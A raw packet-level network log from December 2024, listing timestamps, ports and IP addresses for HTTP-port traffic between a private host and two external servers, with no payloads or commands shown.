Dec 20, 2024 02:11:42.984690905 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.985315084 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.985794067 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.985835075 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.985883951 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.987483025 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.987533092 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.987565994 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.987586975 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.987612009 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.987641096 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.987749100 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.987915039 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.988290071 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.988431931 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.988496065 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.989128113 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.989248037 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.989309072 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.989991903 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.990103006 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.990164995 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.990845919 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.991007090 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.991077900 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.991668940 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.991755962 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.991816998 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.992501974 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.992681980 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.992744923 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.993333101 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.993467093 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.993524075 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.994194031 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.994316101 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.994368076 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.995018005 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.995214939 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.995270967 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.995878935 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.996121883 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.996177912 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.996709108 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.996783972 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.996845961 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.997565031 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.997632027 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.997685909 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.998369932 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.998503923 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.998558044 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:42.999357939 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.999485970 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:42.999542952 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.000070095 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.000210047 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.000309944 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.000981092 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.001034021 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.001087904 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.001758099 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.001996040 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.002051115 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.002717018 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.002815008 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.002863884 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.003454924 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.003557920 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.003607035 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.004332066 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.004384995 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.004439116 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.005091906 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.005199909 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.005259037 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.006006956 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.006145000 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.006203890 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.006773949 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.007648945 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.007680893 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.007796049 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.007823944 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.007949114 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.007996082 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.008146048 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.008173943 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.008256912 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.008375883 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.008441925 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.008567095 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.008728027 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.008754969 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.008886099 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009023905 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009072065 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009099007 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009258986 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009308100 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009515047 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009563923 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009618044 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009695053 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009829998 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009856939 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.009979963 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010029078 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010122061 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010215998 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010282040 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010308981 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010453939 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010500908 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010585070 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010633945 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010721922 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010801077 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.010929108 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011033058 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011065006 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011111975 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011225939 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011254072 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011349916 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011399984 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011468887 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011518955 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011667013 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011715889 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011814117 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011863947 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.011996984 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.012023926 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.012316942 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:43.012619972 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.012648106 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.012777090 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.012804985 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.012923956 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.012949944 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013062000 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013112068 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013246059 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013397932 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013426065 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013457060 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013559103 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013607979 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013710976 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013762951 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.013880014 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014020920 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014048100 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014079094 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014199018 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014226913 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014352083 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014379978 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014472961 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014549017 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014653921 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014679909 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014806986 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014833927 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014887094 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.014914036 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015026093 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015053034 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015187979 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015214920 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015357971 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015384912 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015431881 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015460014 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015538931 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015597105 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015636921 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015664101 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015770912 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015804052 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015896082 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.015928030 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.016041994 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.016068935 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.016158104 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.016185045 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.016285896 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.016310930 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.054553032 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.065869093 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.085285902 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.131932974 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.131998062 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132170916 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132184982 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132262945 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132287025 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132402897 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132428885 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132586002 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132608891 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132704973 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132751942 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132865906 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132890940 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.132993937 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133018017 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133140087 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133162975 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133285999 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133311033 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133428097 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133477926 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133604050 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133627892 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133750916 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133824110 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133908987 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.133970976 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.134066105 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.134109974 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.134182930 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:43.154438972 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.154485941 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.154558897 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.154828072 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.154931068 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.155289888 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.155682087 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.155793905 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.155859947 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.156533003 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.156646013 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.156749964 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.157351971 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.157459021 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.158188105 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.158236027 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.158313036 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.159065008 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.159076929 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.159255981 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.159291029 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.159879923 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.159986973 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.160039902 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.160715103 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.160875082 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.161572933 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.161618948 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.161674023 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.162406921 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.162457943 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.162511110 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.162570953 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.163244963 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.163379908 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.163420916 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.164093018 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.164227009 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.164436102 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.164948940 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.165115118 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.165837049 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.165877104 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.166032076 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.166575909 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.166616917 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.166734934 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.166793108 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.167448997 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.167597055 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.167759895 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.168292999 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.168394089 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.168505907 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.169151068 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.169276953 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.169320107 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.169992924 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.170095921 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.170140982 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.170842886 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.170983076 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.171029091 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.171669006 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.171785116 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.171830893 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.172498941 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.172610998 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.172667980 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.173341990 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.173460007 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.173507929 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.174200058 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.174299002 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.174335003 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.175177097 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.175354004 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.175427914 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.175923109 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.176033020 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.176074028 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.176727057 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.176809072 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.176852942 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.177628040 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.177758932 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.177825928 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.178436995 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.178558111 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.178597927 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.179343939 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.179434061 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.179481983 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.180154085 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.180341959 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.180383921 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.180929899 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.181025982 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.181058884 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.181777954 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.181926966 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.181972027 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.182609081 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.182728052 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.182766914 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.183459044 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.183579922 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.183618069 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.184319019 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.184458971 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.184511900 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.185174942 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.185226917 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.185271025 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:43.185992956 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.186103106 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:43.186851025 CET	80	49923	185.215.113.16	192.168.2.5
